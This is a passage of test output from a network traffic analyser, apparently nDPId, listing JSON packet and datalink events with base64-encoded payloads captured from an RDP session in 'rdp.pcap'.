Ur0UgzXozlyn3aLJr0kW98Az6znnBMW37lcRGXlljhQxJU70gJTt0tKhR+Xb8Dua9HhJmLGVuMxRBDIcBdhRC4dnkW1+ppt9+FTKYSq6gxg4G+DilAmlHLNEI8aBopZSrDBPqd3omeCdOcVhSVHMqm+0SZvkMQ7algOUdJkdURSg+km5\/yjsku5RfI6M70L7V5zZrgduLPPveFmS9d4ezd+5vvLRLhxOJIpAFqERVH8giCzIxsjuO0ztPxh1PfQqtjdwQa+Fvkn2GyPSlui6INe6sbbbX09qq4BO4FjjDe1DssLXWFQrTHSuLEMnpMROSVPqeESze0rWScx\/oL854\/+B45FUCSfwTO1YIq8XEfpVgu+QS\/1UEIQbULMzIh+wivLdprGA9ZDBslKmRG7kz8OhA36J17X0cc6UVZxzPsN+dmsRYe3sPGmBr4eLAUVRxntbk4UbtJzPSWoEXrqZ89NW26OdO3FCItrv4RGrRFp0\/F69xWee3TU2Hxvqx0XKSoOvhQkPneLAeuGnFynoPEeJ+ZfjQjpecMWy3bTrgNA4yJ3BOyj9uIr3ykRbUj7F7874TLxdQGwN0XtOxC8laChnol7PdGKVO424gJvEKbZgpKTMoTYfCG07i5iBmX4F61JFw2o4pig57mna0y9zp\/QOv2P9covqNgDhKDqF6zuHYISRU7heBItbCsmzvBLzRXnWEdUvbJYHbAVvfrLSL8iTTEeS5kkxeZ\/P0hlsT5kOF0ThaqcS+8R8acsa1YepoZR9Y0yxg44EDXSlHbpV2zgZNr6s4PrAidxH216Q3lzZM+TCnPiBBdhO0akjbvklvozW8pPlptQvQiBvNxjfMwbSPvQ6KtBo4WxeTe\/2bqYRwNcPGtxdW2nuWRiUzKUx1C+rEogmjr628HuLpIrtjgHlDMZj9bIXt6R\/YUsSMnXX\/0chs7g4GK+i5V\/EqjE\/+z19VnTmwBQp7pDoUbWKmNB9\/QCpAmkQ17G3+iMH7+vm9f63oIU77FeF5MQSb0SLjJisDkFAWhEE9ycN2oKpqh6cExrio2y\/Ygna\/5FRrOfkdbsO9xXRF97RCykrZczAYChMs6Y0oqo2ffbXi075iYsoQ5t"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1122,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1123,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":203173,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhw0AAfwYmksCoAo6sEAK5DT3NDked2QT5vRStUBj4bZzQAABRwqujAQH+zETUZRgSG0332U3ZIJUxTHGSd9BjQ9CSNRc5xLJZ+H9oq2bosu64FkKuFTi6YIHClKHdjJ2M3eg5ylT\/VB4cZoYUwZGnOA65A+x1RHJSps3KIbMt\/w17QPdXstZhOrND2G7grLHjPM7aeLhFRvO1c54O4vU7wGCBnxZ+Q5EeD+DNNrrHMon+OKuRK79uqxFErqYceybVfDHDzmaRu\/xp2x3arjeda2uCuGmU2DeLEABQpOZcJTXqTpQenJ1rBW3FevNx5M95crQD7eL3+RitGQna\/z9WDPqplA+yfiYeoBeagqF9T1gt+yMs3ibPNQPSzumkGZpXh3RB1xbnSa89qzYewB7\/JOJFvVVv8rrVPdr7Bayn2M0nN7+6YytpiqYFNbzZ0rWLmc4XDs50Ru8DqYLXDyM+KKkoYBzX6qjtnWcmoiy\/1rV7EqkxA20E9+GdNOyEOt3AnVFpsDESGP4y\/IeNWp47yv\/eiM1p\/UcSMES5g\/ry"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1123,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1124,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":203195,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9FR9HndQLUBggAFZxAAAXAwMAMOAIO32NJwwBTOT79NgsklpRGse7jO6vPDUDZZ61LHmE5ApAJpFk+hfuQ\/ez+Zo71A=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1124,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1125,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":203532,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhxEAAfwYjE8CoAo6sEAK5DT3NDked2n\/5vRStUBD4bc9tAAAXAwMGbwAAAAAAAAFp9BqlxM80LSBopbe5UPzQRQOflKA0k6UZ4INFVejrpPLXue0\/RtiK5xULHvDYvxy1G2vXGwgx54FR7FHwbHCLf\/Z2wSRUXyI2mTpRYCuUpbmcVSu+AL4ptW58Mpf6DVevQirxUZIbfVzlYFvZqsZxTYxpM6RFG8rQQalrmuHztfuuNZuLxuzz7mH4H2gZIAZEGGCkTGb1IQomRempOrEd6QYvTz0lvFht5iNbc+zE8LQoMhzNEBeogU1BQbHR6j+vKFUbedpIOeJ7KjlIlG8Y7r7YDQYaBaiXPyS7CvEDHLndY354\/wsxNhLe9pc3\/qqbsbi4Ndsmya+SNxNHBJT2D66r2iL0Nc6iTNbmL8zywuy7lWYK0+8GdLqbg7gaLq7XUGfmfIdEv+n\/rUymCVC9ut\/dVhoZAxoivw6e9e8wSL92xj2vfsp4mvGQhzGNHVavllFYOO7W\/DDyrCMkuDV5IZeIPTyyq77OEsezfNqpxC5VqyHIADR0UpP8r1OqruqyoiZ3AHVh2OzwP6EVdeQQ1Y7sWtByQE92B94rcDe3do26M4Uxad7sTzarq8a44vxWC7CvdP5YgPnPkeUZSFLw6uKWZc9YWJTR\/0CfblL6pFO0VmMAZ058j9Qb8W9+SKnmzM730o4Mljt7Oio\/MpNB8OetN8dmdFZcN\/b+ic26MiYZ4pUddKwiPjLl4fiKttpCJoaKIj9zw2G2GQNLRIFbunEoU8C7hHPg1jz0pjwcPbk02ypfTGZvk583hCO7XBvJjYgSfdFsO0P6tMDkjysWwvkdtfirYdSGaYMPPbZKhvKV14GHhNL68oq\/DuxIPidXo6C6Aq0z35sM3k9A+oY6eCd+q4JNZVgQYZJa0Uie5q\/CeWEGJmfN4ME7DK5\/cdWqD0r97qDqasFmVTyWk8U7NKrw27hxl7isk9\/bJSqNNm5lr4XsMuPXmnPSFIgj+nA3JpQGks8OR4lsd0g79b7oEwVRGJyJGntP0eGggScHmUf0SGdDRPmabRDKQwusRX4saDyNEPrQihDUWlz92QJsNs69eeQkPmkoPFJowSVtmaEZVYmZVKl2TQJ7SQW3g2w+SLOMUUoit72Skv7jmJnWIr9WXib\/hlhtC9OTRsal90A\/6Q00lNf5TrdNRABMyjM3JWrT5PBzCMU6Rh2XMdIJf4Dbctyr0zuuHV7Qpe5lnFLiqmr5CYkBultJlWMDU01kFCVhN1B3ErkB2XWE9C7HHgRSxt1hGIIk+Y5i7DlKE0Dg14SAD467cLva91jmerl0\/gjk6KvPzkCLs7YaK1Rq4SWc6ng6RMAchTvuiBqZmaajnrNcjUAW0O7Ny17JXyguDnb4pb\/j4Kp393XAY2FJNhTIf1tHiPy0BI2C2dYMtyxaXd2WJejZ67ohXwTzIVya8nf3KJz6tA9JG25J06iYzQCxAPezLuy+uV7lNwj\/\/kQWTDUOYbmIyYbEHHnjo73PX4lDttXTHi\/+uv6LIHmhHA4PYkNBvuLegQa+6GnaaciGQZxTMr1nkPxjRDlmHINCAIxHwEpn3guJfcjVCFkitZ6+jklJH5Pcvfoo6+E88byrOcorcBAcgDMtWEloFx5Em87wrqIP813q\/UhFZ0dEl7eAq476Hd0Yc0s66jSV1BMbzese\/x+gOgKA6\/V5dxh3Y6ju4vT0C2mPEsre"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1125,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1126,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":203556,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9FVRHndp\/UBAf9BJmAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1126,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1127,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":203747,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhxUAAfwYmkMCoAo6sEAK5DT3NDked33j5vRStUBj4bV3eAACETEsSY4DZRkvmc2l9kUjXPwcnDMP6gDg8CFjfgnadbWOBD\/to\/DIUDV\/k8WdeZV3AD79IeHLIhAs8+sX+RlccYvkRtJh+jgoP\/vc6NqqKoszMDYTAQt+1e3YfUEqJjEGKw3a1M4L3600oTyaIVaNA5cZQoVyuNHeIHkd4lEWKMxk3PO9Q2ggd47q6wG65UQ4+ziCgYQ0zM6JPk11BxQm\/ao+k5ulbWemM61FPiBis9wF14PZYdT2FpiSQ+L3DpaFKOd9awHIakS8TPcSMKLE\/l2j+efjBQNRDuBZCwsjIhUWIUdzSOLP0ukb1syy\/dDgXxV0ep9pfWKBTVRP6Qer3aGL84auNLF6cp\/hCmzXt6CjrK22L+h9rI8qkVNqOgVArglS2tmw87YXw5PjyWEwRy7YpT59V5VJdsglekYA1edf49lcvqJ\/EgcHYv3C4T7FOqJQ954\/DBg5SM7N+ZVx0ZMqNLO3BSTUe8xJaVz68f4RWPDU2By4LWMFM"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1127,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1128,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":203790,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9FVRHneDzUBAf9AvyAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1128,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02082{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1129,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":203873,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhxkAAfwYjEcCoAo6sEAK5DT3NDked4PP5vRStUBD4bZ5LAAAXAwMGbwAAAAAAAAFq6Zlz6QLvXmEvZex3kCGHMG1eEKa6U++jxsfk\/DuAMepv07gK+v\/BMiA73+7FpFmaLEk9jGieoi33Vj0e\/PIbgxNZkYq7hDo6DDxeYK5TaBas8fiEr4qGcuztAgSl1Tsmspp7Ek6cFpirjxEiglsS+ED8lReF8KpYtaRbQ6Zt27vQhfC7IDYD\/NmgGQ34wbTHyEornedkR8VWA4olqgeRyU4Xl6kUcQ9hJGqEQf1Hmaf5sl+57adNQZ8g9LfkRu+X7WGxJ6167lxsXixHGQAnfNYuRyif9kO71F77GuGRLCokY\/qxlzcsQXiXFn0xxwZPE4sTp33L+BQw7eh4aaK3\/0Xl4jKDtvmsRaKjmjeVVi0kLm\/yis47IN5GuXkMJXrG\/LGSiTboBAywh\/wOdBFSW+702Nv7ggRyH5cbiO0F301DvQH+tH3Kvmq5zawk51yGzxXVP234zVwkF3ayMIQnGMMUVlErncXTT9XBghNCyqI3z\/j+RWc5KXXP8QgCK9C2ve4naZSt+iJzfR\/UWHTp2dszyB2hyxdgF17mXnqvVh0tUBnvMOQxCkJl\/pngzyGmmyhDqf14wjPXd5px8CopEWAW2Ld7c2M8V5zJs4hU6\/ebQ+3ZUh5kxJedvGACTaweMKyXc4iavMR7DHQnJxzpkzCn9L8HA6YOOwpbZLQd1JyOvB2y0Gx4N2VEk\/oxYngK\/2fVMcFGCOayuLx\/aRnw7iNFvID5qbMnlEke+rtiLhlUuZzYHW\/DUj5xMO2WpmS+UiYcEh2t+uAcZLRGC847KM3t4ImtM+bCNzVDpa8jSGdJRHWieFO5OW6V1fp1+mYngQf2LHu4caVsCjur6NvMnsHWyB3B\/WXO7Xp6w37yM0rwRU94vsFLoYUICCXIseKDI95UrdlGpG1D\/zBMudFAd5AE46OP\/2d5ImStDqsVLW2yNjUpQ1v3jBdN6x0e1O5IA6nKK90USsbUG0xdXrkSsQm5qDfv7ac1RoeY6MxocFkRjOUMblmGRsVG4nyVG1WGhIlmKuVv9bSYx2JulMoUwWxYRtMSZEDKeJrxVb7a96MLErD0joxAHqyq72+LGGNIUjVGXeI4TLDPl9f8P0Y+IsDYQwVSr7ann9IIBC0iAN2vFA\/fHP8avBbtM6juLU+dwu1EuE7q8wPuLWG8tJh2r8CwgOm17nqEyIvH7Kr\/vlsqqsimShN34BRwftdMEmLyNwJJD\/IHkw0NFYedFQWZFfcp3meQtYjsWX+5MAX8ypEz4mO2zGqcw+JuhhHfSxXuEqtJS1EbPkidsV93yI5ZN7anL9XB29e2GOe2UAXrnTtG6L4PsT7TWU\/V+fLXQK9ULb1GRxi5oEJ7fZ9QdYovMdj4vglkWwrMgc0wEjCu2Nk6l62IlHLETgcVCQBmeO\/k6etcUMLc\/Tl0JTvxjwuzmgp3eBzZPqK9BCjA8uBfKFyArDwtMxolMM1tbnaz4k8jGPh5SHk\/nowgenByPuA4\/Z98U6Hfj1MpzJ+Paj6QbthD\/p9m+8In2c6UNe+ojRdzh0QadiuTzU8+7CEdFh\/V8HWIJ522kvOtl55Tu1dgdwHCrv9yy+lUFPuRxUh0PH5ZPqYDa0dvsEKvxOhwbsYhVQZG1JblzQuMd+9aNJtqHDSHJ\/v57FNl6dBNeWAZZUCNqh+jlraUxt9T0P7v"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1129,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00869{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1130,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204131,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhx0AAfwYmjsCoAo6sEAK5DT3NDked5ez5vRStUBj4beK\/AADvy83qwhd1LpGFSGaztLO7ds4h+GJ6O4HqAPmF7HuC\/sFzw+xwy5ixETDUXBGdZppyYzozrxqWUmln2V+V7DJjK6FSqePgspFqpbv2\/ScRo3mJ0nfd0gCp5L87S3cK8CEBjp+ntZy+xgIImqUIxJLi635A76hsnRP0MoESGyQqcMz8J5be62\/Q4wwqOJp6zGvf0l7KPCjw5oZZdnYk2Q2T79zIJGGsAnB2EP4WjP1XVtp1rjfe3MlFGLxEmXH+Bw3M7J3DHWhZnId8lDAUy8LbA1c9GTKpGZF2toHenQhvzPP6qlE\/m7ZP5HfOTrvZrmC2vqx3iFjtqViseKANMH3SfAGGh\/I3f5fu8oB5PDOpb9d3DfHqsK11SROmJlJavZywXtPKJYb0NQMskMthCTL6WFKJ\/yL\/iu2U2DVnRp2bZT71ugCEOnzP+CFcf9T7M2U\/OiNbgh84EizYCv8I+RkKs6ZktHJ97OxQa\/JihC0OHG85\/ZWdvPp2sF\/2"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1130,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1131,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204153,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hyEAAfwYn08CoAo6sEAK5DT3NDked52f5vRStUBj4bdNJAAAXAwMAMAAAAAAAAAFrTkzcMI6Hl1jQzZOk1p\/a1HjqrAJ5r7naah\/vV0R6pQyEgCTrRHQwCw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1131,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1132,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204170,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9FVRHnednUBAf9AV+AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1132,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1133,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204228,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hyUAAfwYn0sCoAo6sEAK5DT3NDked55z5vRStUBj4bQqQAAAXAwMAMAAAAAAAAAFsLS1825utYQ9L\/csD8G4a82o6R3iJWvTQPCuipxsKGwTOuVZoXwYSXA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1133,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1134,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204328,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9FVRHneecUBAf8gVLAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1134,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1135,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204511,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhykAAfwYjDcCoAo6sEAK5DT3NDked59H5vRStUBD4bf0jAAAXAwMGbwAAAAAAAAFtlGkLmcTToo0SoP6z68ybbQss+ZkpvRhLbBP1Us4Xpp5igMpw4X7ScBeQGH4N4QgSVt0+1bsRKJ+QDu4TdgQYZnsMICukW5laVB7xlanGLc4c+dDVytS4MvVhyIdmlj3l+uXgc5B+FmSOlna++5sUdJeLQBWSWD43S1oC4b5ANZuCMoWbtdEeVITdbhV1CcgXg7iJ4P3TNEsqc98I1O6P+rNnqsO3n5eCwhd3aNblJx+QW+iDS+N29zkBBdj1RSj5FjIurs5HMIWBC90V23Bb50x7e5q4oyjg\/48G+63rGyiNpKFncCriRftW0o4FqX1TPxjR1ZH2AU3v7VxNJ2o09UB1P6HxGnyQlcVJ3RiRhX+QnuhUZpRxtmcU2wmadN7y+El4Crg+5Mv+55S8Bm1ebJ3zjZkG07352AFhWta8zB23t1zmt\/Kt\/0N8VuRTrQTZJz5msyVi9B8Y7oo+dSQODJ3tSJdYD2qAiiN6918H+lvUKl52F+m0ffx41kK6GRQPx3O2q1n6mJbN0F8MzOdZzJ7dJrWDgNKi5aThS+g+IjPc6qiG7hZryfDyrFcwvfgQPJLf59nzrDavP8epHebxdFIrkSB2swcKZN7YsPL9Pk3xeIev5ZPS6CjqA4eHj9PKWumU8dgSytAAVPU83NBVDi5WwU88eU8ycohR\/f9lADREJTHOvyK+CxCDhiH16V832yhi8mfYKzyJ065gP5+XXscGjAI6kn6URaMyWv\/1WRFuhhEC60HYjStJriljpbjygsX2Ra\/3gg391\/tyAtTSP8KgL0lSOaiE0g\/U0gGbKw5jmqzOokPbH4PZSua9Xdh62CRjjwItvdpp9pbgbSHV4KnXrXMIQleGGh5sdfH+gCKVuWwG6oRF4CS2DcNREzYlgBdAtJO3J6ONGmf4vsWdStEoellMX1ZPEzB4nqe+OjaPx\/+yVcDsH3y+UHhv49HlthhUakIoF5GswZScYThb2xsT0JG1zuaVmJV9bLs6Gr8Nod8cEn1jPYyG6SujqfF00I4YDCh4vNY5g2elIgCh7eWtxC8XN7vNvWUxIuOBKBxWHXBvMZaT4lKO9JaBPqfX7VRloOr1OhA\/aYt9bK6qbIy+\/LTvR9OuKNwbUhkQOLMm7qpYvQGo3F1AgwciWqfRAUcmn2Tiq7SVd\/cGGgdXWLIF8OpG6FEXF2tk\/\/JieMe\/X0ZFjt7QD\/HKB3ENXx1QDhprUBeAviBzCap4lgNFVixVhSAae9HPpOW3PIBvDvGWL+Rz\/L3BqeCmgnFCF8JcTQltRi4ECYM\/0oUPTGuolVlom59fuILgH48FYC\/pEeMcjFdf81eleoR6DKAabUc\/yQOk4VolQjFpIER9qzj\/8JmW++qrk85RXFJRxWI4H3vYld89tGPW0ctUrrP3py2H72uueZCYBTDatGWR7oOwVQG6pabdV08NnNmLouVqgAkLAQbNyIfLOxLRb3eGgILkNEoGG5GsRe9ufKXfqYXP1kUdRAF5hnFnt4B54mIdkwn16RBquKM1lp5jTQ4Uq9U2JIHZdNAxMjBMAhfwh0C35eqXmGR+2WL\/VONBf8OjhGUrZU1E8rodzwbaWDNgudKNk51cTUtJyrpv4b6VO33Y9NGsrpnCKnMMLeUook2R5pwrUk3aNwxDNW0+BVgu27gQURb9p0EHUYqm9tAq"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1135,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1136,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204550,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9FVRHnefRUBAf\/gUKAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1136,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1137,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204675,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9FVRHnefRUBggADoHAAAXAwMAOOAIO32NJwwCOAltiQuwdVeMsx6TPw7GBNqEVG738jmWReymP27LsHRPhASSde7CMMnwS6lk2bpD"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1137,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00860{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1138,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204771,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhy0AAfwYmisCoAo6sEAK5DT3NDked7Mr5vRStUBj4bdDpAADsBeEhMKj9hIVHSLLmHOAsqK6cxjYbbU4QP8xt8Wxkf3+f4Ml8gIY0CRMKQ+cXYPo+HSSx7FivD87vXu4cMZfJytrL6tGdhW4GhV05wdbRck92VuqI1UtDxi8w1aTyzlvzN5\/DDzi+NhleN15ryQ09ABvDhYlklzjDZGPazZ8H+kn+J123qXrVAU9D6vexAEgiSCCELwwhGSEacd3f8UXMZf7p3SMaylg9iTTaHhgx14Fnc3KOkN9b+Ipti2xQ+Od2bk8uhwT9prebNDVpjFdIbqKB450dbSR9YPOoTs9H3xMunutNqocqmjTh\/KuW5ILRiwdghcTwTaVWSIgtWkoiesch9pCvEMXrsgk6BNVtRhTIXbqYFssQAUbi3hDSsodUjHXzRJDF4jcXc69EvxbfBCwv5J7vG+0GcL+tj3QrvH6qjUltAR2+ghdXz3C0u78NpSDecxiycPzDUUeKaEqRGRW8cOOr3rQEDNjzqM6SfU\/415eFs+T36VXu"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1138,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1139,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204821,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hzEAAfwYnz8CoAo6sEAK5DT3NDked7kX5vRStUBj4bUXRAAAXAwMAMAAAAAAAAAFuOBe3QpX7D0+dQV9eNuKkd62OKODF24nMY8O3OyVyUPVMedyGkTvb0A=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1139,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1140,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":204960,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9FZFHne5FUBAf9P5iAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1140,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1141,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":205125,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhzUAAfwYjCsCoAo6sEAK5DT3NDked7nr5vRStUBD4bfvmAAAXAwMGbwAAAAAAAAFv4bCdigB4cNufXwTtdML2U9RBKHXv6QtuVZH7vpjAfp602kT8cv9HPxX1nEpWhPS18\/eA9BltNE6coL6T+r4JLaxv41bc3oYGv58qrjGd2Vw9GXpqEA9evxndVXRBvO4k6kyXbfe5p56m2rI4l6dVZis6\/24Xgrm0uINAHmfc2lDouK9Hy5APCKEbiNeSzkFEyGYT0R9fZzmZLZ7h6BASU0EXEzQC9imn4YGvwXwoZSRYeDdSF4XlAoRqUew6rF9XENJdpbaoAzX5bymkcbSHvH1EOyQ\/a01L\/Onwi9zRLnJZ\/0bHk+Bj1\/hRFK2qYXVn\/Dp\/za56SS4Tsfm75W1GtQyBuEt08gKakIx132QWsmD1Mio7aY3x1Kt3RBzq9w6g9KC5Sm0WeHjwuJ80\/oo5GVmW3Gokpor50hBMUdc0xBZflJ9\/bQp4TefphoKlcJkhxeoRdwa4W4OgLr+8HifknaItiz8SUCLXKhFAbRP1+RUwK1O0sl\/8gw24WjtOg3uGVt\/TmzyVZMNpkDuI5DtUZZkBz4si27Abjb8Q8melON3Kpovjv30arUubVQ+roH7vkTIUZAg7CO9WYizmgSLtC\/UyZdRHi8UwT1KVKwKTOPAje7lTJkKr